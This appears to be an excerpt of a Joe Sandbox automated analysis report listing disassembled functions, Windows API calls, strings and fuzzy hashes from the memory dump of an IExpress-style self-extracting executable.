Part of subcall function 00007FF78CA68114: GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF78CA679B9), ref: 00007FF78CA68145
Part of subcall function 00007FF78CA68114: GetCurrentProcessId.KERNEL32(?,?,?,00007FF78CA679B9), ref: 00007FF78CA68153
Part of subcall function 00007FF78CA68114: GetCurrentThreadId.KERNEL32 ref: 00007FF78CA6815F
Part of subcall function 00007FF78CA68114: GetTickCount.KERNEL32 ref: 00007FF78CA6816B
Part of subcall function 00007FF78CA68114: GetTickCount.KERNEL32 ref: 00007FF78CA6817B
Part of subcall function 00007FF78CA68114: QueryPerformanceCounter.KERNEL32(?,?,?,00007FF78CA679B9), ref: 00007FF78CA68196

GetStartupInfoW.KERNEL32 ref: 00007FF78CA679E5
_amsg_exit.MSVCRT ref: 00007FF78CA67A20
Sleep.KERNEL32 ref: 00007FF78CA67A2C
_initterm.MSVCRT ref: 00007FF78CA67ABA
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF78CA67AE7
exit.KERNELBASE ref: 00007FF78CA67B78
_cexit.MSVCRT ref: 00007FF78CA67B87
_ismbblead.MSVCRT ref: 00007FF78CA67BAA

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Current$CountTickTime$CounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThread_amsg_exit_cexit_initterm_ismbbleadexit
String ID:
API String ID: 2995914023-0
Opcode ID: eb2fc6e96ba0dd1a0716e44469d53bdd23f0a648f1f7d26379bb894875af2787
Instruction ID: 7ac9c7a37dc2644de755c5db902d54fd4e4506a151fd6fa41afac5e4de833a74
Opcode Fuzzy Hash: eb2fc6e96ba0dd1a0716e44469d53bdd23f0a648f1f7d26379bb894875af2787
Instruction Fuzzy Hash: C9513771A2964686F760AB30F840F79B3A0FB54758FA80035D94EC26A4EF3CE944C722

Function 00007FF78CA64FA0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32 ref: 00007FF78CA65027
CreateFileA.KERNELBASE ref: 00007FF78CA650DF
CreateFileA.KERNEL32 ref: 00007FF78CA65186

Strings

*MEMCAB, xrefs: 00007FF78CA6501D

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: CreateFile$lstrcmp
String ID: *MEMCAB
API String ID: 1301100335-3211172518
Opcode ID: 8a2ec7afe2b51a4f3a104787b125c2abcbb1919d4f600384edff3266c69d9446
Instruction ID: 036d4e7e37c05f15d0b1096e5b466b6389a07bc719ddb61e52fe84aeba0a3ed3
Opcode Fuzzy Hash: 8a2ec7afe2b51a4f3a104787b125c2abcbb1919d4f600384edff3266c69d9446
Instruction Fuzzy Hash: 1961A362E0874246FB60AB15B880F79B691FB55BA4FA44335DABE036D0CF3DE445C722

Function 00007FF78CA65480 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 147timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32 ref: 00007FF78CA6555F
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF78CA65577
SetFileTime.KERNELBASE ref: 00007FF78CA65599
SetFileAttributesA.KERNELBASE ref: 00007FF78CA655C9
SetDlgItemTextA.USER32 ref: 00007FF78CA655F6

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA6550B, 00007FF78CA6560C

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: FileTime$AttributesDateItemLocalText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 851750970-305352358
Opcode ID: 7d875f159341b7230950f18f2f71abc3d82ac459eefbd0f33785da50a5c8e793
Instruction ID: 0468e3b396656dc5aaf74f5df0da8cfcfcd6fc2d5418a5927f00b9363f854327
Opcode Fuzzy Hash: 7d875f159341b7230950f18f2f71abc3d82ac459eefbd0f33785da50a5c8e793
Instruction Fuzzy Hash: A651B332A18A4381EB60AB21F454DB9B3A1FF85F90FE41135EA5E432D5DE3DE841C362

Function 00007FF78CA65280 Relevance: 3.0, APIs: 2, Instructions: 49fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78CA63908: MsgWaitForMultipleObjects.USER32 ref: 00007FF78CA6392C
Part of subcall function 00007FF78CA63908: PeekMessageA.USER32 ref: 00007FF78CA6394B
Part of subcall function 00007FF78CA63908: PeekMessageA.USER32 ref: 00007FF78CA63983

WriteFile.KERNELBASE ref: 00007FF78CA652D4

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: d49133d5c2195b87ebe0def94a96092c9cfef79a36c4b08e02082d86901b1f76
Instruction ID: 18015ad0e3e670b4288828f13a068d32ff80713aa21b95187fe2f7d8a8b5819b
Opcode Fuzzy Hash: d49133d5c2195b87ebe0def94a96092c9cfef79a36c4b08e02082d86901b1f76
Instruction Fuzzy Hash: DD118E21A0C54282E710AF66F858F35F3A0BF94B98FA44235E95D476E4CF7DE405CB52

Function 00007FF78CA64E00 Relevance: 3.0, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 00007FF78CA64E0D
SetFileAttributesA.KERNEL32 ref: 00007FF78CA64E88

Part of subcall function 00007FF78CA67304: FindResourceA.KERNEL32 ref: 00007FF78CA6732E
Part of subcall function 00007FF78CA67304: LoadResource.KERNEL32 ref: 00007FF78CA6733F
Part of subcall function 00007FF78CA67304: DialogBoxIndirectParamA.USER32 ref: 00007FF78CA6736F
Part of subcall function 00007FF78CA67304: FreeResource.KERNEL32 ref: 00007FF78CA6737B

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Resource$AttributesFile$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 2018477427-0
Opcode ID: 243369eae741d19aacabb87601a44f38098308e578327846539de662b5f04598
Instruction ID: 0e86f3b5883d5066e8730ad1927f456312bf739071d70c9b9e6a57d9f17c3079
Opcode Fuzzy Hash: 243369eae741d19aacabb87601a44f38098308e578327846539de662b5f04598
Instruction Fuzzy Hash: 47118B31E1C64281FB90AF20F448FB5B2A0FB05B98FB48134C95C066E0CF7DE885C262

Function 00007FF78CA673CC Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharPrevA.USER32 ref: 00007FF78CA67413

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: f6a6154face52e81029e11cba967ae538a48f1189fe03ca7acaab31d68f019d0
Instruction ID: 7416901c154746ffe601c360017062183803574dc38542ab542967cf62c64736
Opcode Fuzzy Hash: f6a6154face52e81029e11cba967ae538a48f1189fe03ca7acaab31d68f019d0
Instruction Fuzzy Hash: 2F01D65191C7C185F7106B15F848B29FE90B705BE0FA85270DB69476C6CE2CD892C712

Function 00007FF78CA65350 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FF78CA65389

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 26bcabef25b7cbd3d303589ea49fd0fb8119a8cf51bc843cc42e9a19cbc7a1ac
Instruction ID: 85ea548a976538e5afd90c58317a84c7dfb2ec25913943f0f06263c5fe40fb5e
Opcode Fuzzy Hash: 26bcabef25b7cbd3d303589ea49fd0fb8119a8cf51bc843cc42e9a19cbc7a1ac
Instruction Fuzzy Hash: 33F05431A0C686D3DB1C5F35F59097872A0FB48B58F604235EA6B475C4CF79D490C721

Non-executed Functions

Function 00007FF78CA633C0 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF78CA6343A
EndDialog.USER32 ref: 00007FF78CA635BA
GetDesktopWindow.USER32 ref: 00007FF78CA635E4
SetWindowTextA.USER32 ref: 00007FF78CA635FF
SendDlgItemMessageA.USER32 ref: 00007FF78CA6361D
GetDlgItem.USER32 ref: 00007FF78CA63634
EnableWindow.USER32 ref: 00007FF78CA6363F
EndDialog.USER32 ref: 00007FF78CA6364C

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00007FF78CA634B3
, xrefs: 00007FF78CA63528

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Window$DialogItem$DesktopEnableLoadMessageSendStringText
String ID: $C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3530494346-2931560057
Opcode ID: a7949f37bcc4c6ea6267cc44147ec5942efdad2b95388f52c49a8d805a607ebc
Instruction ID: 0793c9f14c4f26b6490650fcdb9e549d0d26ebea587884311be1eba96363df34
Opcode Fuzzy Hash: a7949f37bcc4c6ea6267cc44147ec5942efdad2b95388f52c49a8d805a607ebc
Instruction Fuzzy Hash: B2619268E0D24245F7A0BB22B904FBAF691BF85B94FF44535CA4E036D5DF2CE506C622

Function 00007FF78CA612C0 Relevance: 16.6, APIs: 11, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF78CA611C0: LoadLibraryA.KERNEL32 ref: 00007FF78CA611FD
Part of subcall function 00007FF78CA611C0: GetProcAddress.KERNEL32 ref: 00007FF78CA61219
Part of subcall function 00007FF78CA611C0: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF78CA61260
Part of subcall function 00007FF78CA611C0: FreeSid.ADVAPI32 ref: 00007FF78CA61282
Part of subcall function 00007FF78CA611C0: FreeLibrary.KERNEL32 ref: 00007FF78CA6128B

GetCurrentProcess.KERNEL32 ref: 00007FF78CA61321
OpenProcessToken.ADVAPI32 ref: 00007FF78CA61331
GetTokenInformation.ADVAPI32 ref: 00007FF78CA61354
GetLastError.KERNEL32 ref: 00007FF78CA61362
LocalAlloc.KERNEL32 ref: 00007FF78CA61376
GetTokenInformation.ADVAPI32 ref: 00007FF78CA6139E
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF78CA613E5
EqualSid.ADVAPI32 ref: 00007FF78CA6140A
FreeSid.ADVAPI32 ref: 00007FF78CA61429
LocalFree.KERNEL32 ref: 00007FF78CA61432
CloseHandle.KERNEL32 ref: 00007FF78CA6143C

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 97142c8180b182c09d7e65f73d61bf3d69a57c2ebd7ef9200e0a5b9acfa85d0c
Instruction ID: e9b1c9601e8ed75d88026158ee0288d3380067afc69c7daae583d9bad2fef945
Opcode Fuzzy Hash: 97142c8180b182c09d7e65f73d61bf3d69a57c2ebd7ef9200e0a5b9acfa85d0c
Instruction Fuzzy Hash: 625184726046428AE760EF31F894EA9B7A4FB48B88FA14135EB0E63758DF3CE444C751

Function 00007FF78CA61B44 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF78CA62AF3), ref: 00007FF78CA61B59
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF78CA62AF3), ref: 00007FF78CA61B6C
LookupPrivilegeValueA.ADVAPI32 ref: 00007FF78CA61BA7
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF78CA61BD8
CloseHandle.KERNEL32 ref: 00007FF78CA61BE5
ExitWindowsEx.USER32 ref: 00007FF78CA61C08

Strings

SeShutdownPrivilege, xrefs: 00007FF78CA61BA0

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentExitHandleLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 2829607268-3733053543
Opcode ID: 755c1f95413603282cdaf0838d41edb21c135bbbd8bb097cb716c8789541b3cb
Instruction ID: 9e6c912065240062034b735d6da318a6fe8b6d507862668bd379e8d5a08f3d79
Opcode Fuzzy Hash: 755c1f95413603282cdaf0838d41edb21c135bbbd8bb097cb716c8789541b3cb
Instruction Fuzzy Hash: 6B21B372A2864282F7A0AB70F459F7AB760FB84749FA05035E74E56A94DF3CD044CB11

Function 00007FF78CA68114 Relevance: 9.0, APIs: 6, Instructions: 50timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF78CA679B9), ref: 00007FF78CA68145
GetCurrentProcessId.KERNEL32(?,?,?,00007FF78CA679B9), ref: 00007FF78CA68153
GetCurrentThreadId.KERNEL32 ref: 00007FF78CA6815F
GetTickCount.KERNEL32 ref: 00007FF78CA6816B
GetTickCount.KERNEL32 ref: 00007FF78CA6817B
QueryPerformanceCounter.KERNEL32(?,?,?,00007FF78CA679B9), ref: 00007FF78CA68196

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: 3bd158706a2895a438dde0b2b3eb32d5c1dc59d35702bc14a628c816e686fd01
Instruction ID: 028c27c359f5974176987343392faf4b205745acf62407a0eae61f3374254bdb
Opcode Fuzzy Hash: 3bd158706a2895a438dde0b2b3eb32d5c1dc59d35702bc14a628c816e686fd01
Instruction Fuzzy Hash: 0C114D22704B418AEB40EF71FC489A873A4FB0875CB900A31EA6D83B54EF3CD1A4C350

Function 00007FF78CA67F40 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF78CA67F4B

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 3c128b76d22e0f08333aca8b13059fe7dc42df365bac19dcaa2f659e341ad33d
Instruction ID: a205e0ec4c1dbd54b5228bb1d21e8c5bacf625b4d3d35189ac413b5616993aec
Opcode Fuzzy Hash: 3c128b76d22e0f08333aca8b13059fe7dc42df365bac19dcaa2f659e341ad33d
Instruction Fuzzy Hash: 60B09214E35402C1D604BB21ECA9C6462A07B5C304FE00430C00D80220DE5CD59AC711

Function 00007FF78CA66998 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 434COMMON

Download Yara Rule

APIs

CharNextA.USER32 ref: 00007FF78CA66A10
GetModuleFileNameA.KERNEL32 ref: 00007FF78CA66AE5
CharUpperA.USER32 ref: 00007FF78CA66B22
CharUpperA.USER32 ref: 00007FF78CA66BB2
CompareStringA.KERNEL32 ref: 00007FF78CA66C40
CharUpperA.USER32 ref: 00007FF78CA66C75
CharUpperA.USER32 ref: 00007FF78CA66CCB
CharUpperA.USER32 ref: 00007FF78CA66D5E
CloseHandle.KERNEL32 ref: 00007FF78CA66F5E
ExitProcess.KERNEL32 ref: 00007FF78CA66F66

Strings

@, xrefs: 00007FF78CA66F3E
:, xrefs: 00007FF78CA66D09
RegServer, xrefs: 00007FF78CA66C31
", xrefs: 00007FF78CA66A71

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$:$@$RegServer
API String ID: 1203814774-4077547207
Opcode ID: 8c25c38a347ead366493633ec2e51024fedd98f7c8ab48903e63ab2df250a0f9
Instruction ID: 3fd6af731aea30ff40e2c7bc6b79b3bf9881af35a628dc0dd5c32d2b14833199
Opcode Fuzzy Hash: 8c25c38a347ead366493633ec2e51024fedd98f7c8ab48903e63ab2df250a0f9
Instruction Fuzzy Hash: E602E161E4C68281FA61BB24B404EB9FBA9BF41784FF80635C95F066D5CE3DE801C726

Function 00007FF78CA63720 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 107threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 00007FF78CA63774
ResetEvent.KERNEL32 ref: 00007FF78CA63796
SetEvent.KERNEL32 ref: 00007FF78CA637D7
GetDesktopWindow.USER32 ref: 00007FF78CA63810
GetDlgItem.USER32 ref: 00007FF78CA63834
SendMessageA.USER32 ref: 00007FF78CA6384B
GetDlgItem.USER32 ref: 00007FF78CA63856
SendMessageA.USER32 ref: 00007FF78CA6386F
SetWindowTextA.USER32 ref: 00007FF78CA6387F
CreateThread.KERNEL32 ref: 00007FF78CA638A4
EndDialog.USER32 ref: 00007FF78CA638E8

Strings

, xrefs: 00007FF78CA637BA

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: EventItemMessageSendThreadWindow$CreateDesktopDialogResetTerminateText
String ID:
API String ID: 2654313074-3916222277
Opcode ID: b3c2b2ef615d35578e8726eb57ba44340733395281d979963716657eb2164978
Instruction ID: 8d1c37d9c9adddc336124bc2fc7aa58234f561c1d8d0c52a6e9fc96853958d67
Opcode Fuzzy Hash: b3c2b2ef615d35578e8726eb57ba44340733395281d979963716657eb2164978
Instruction Fuzzy Hash: 19419E65E0D64281F760BB21B948E79B261BF84B98FB04136D91E42BA4CF3CE446C722

Function 00007FF78CA64768 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 114libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78CA6346D), ref: 00007FF78CA6478E
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78CA6346D), ref: 00007FF78CA647AC
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78CA6346D), ref: 00007FF78CA647C6
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78CA6346D), ref: 00007FF78CA647E2
GetTempPathA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78CA6346D), ref: 00007FF78CA6480B
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78CA6346D), ref: 00007FF78CA64824
CharPrevA.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78CA6346D), ref: 00007FF78CA64838
FreeLibrary.KERNEL32 ref: 00007FF78CA648CF
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF78CA6346D), ref: 00007FF78CA648E5

Strings

SHGetPathFromIDList, xrefs: 00007FF78CA647D8
SHBrowseForFolder, xrefs: 00007FF78CA647A2
SHELL32.DLL, xrefs: 00007FF78CA64787

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818471106.00007FF78CA69000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818487106.00007FF78CA6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1818503281.00007FF78CA6E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78ca60000_file.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 736fc19ecd43b7d2575f89e8e3507fd18e5a39b1beba44f6e218ac1590884990
Instruction ID: fa24ecd1b70cc6fcbdda9fa36e5867dbe875e88cca8eab06169afb0bc78d6802
Opcode Fuzzy Hash: 736fc19ecd43b7d2575f89e8e3507fd18e5a39b1beba44f6e218ac1590884990
Instruction Fuzzy Hash: A8418865A09B8285FA81EB21B814D6AB7A0FB45F94FE44135DE8E03794DF3CE449C322

Function 00007FF78CA62448 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32 ref: 00007FF78CA6248E
CharNextA.USER32 ref: 00007FF78CA6249A
CharNextA.USER32 ref: 00007FF78CA624A3
RegOpenKeyExA.ADVAPI32 ref: 00007FF78CA6253E
RegQueryValueExA.ADVAPI32 ref: 00007FF78CA6256F
ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF78CA62590
RegCloseKey.ADVAPI32 ref: 00007FF78CA625C1
GetWindowsDirectoryA.KERNEL32 ref: 00007FF78CA625D1
GetSystemDirectoryA.KERNEL32 ref: 00007FF78CA625E1

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00007FF78CA624C0

Memory Dump Source

Source File: 00000000.00000002.1818453921.00007FF78CA61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78CA60000, based on PE: true

Associated: 00000000.00000002.1818438066.00007FF78CA60000.00000002.00000001.01000000.00000003.sdmpDownload File
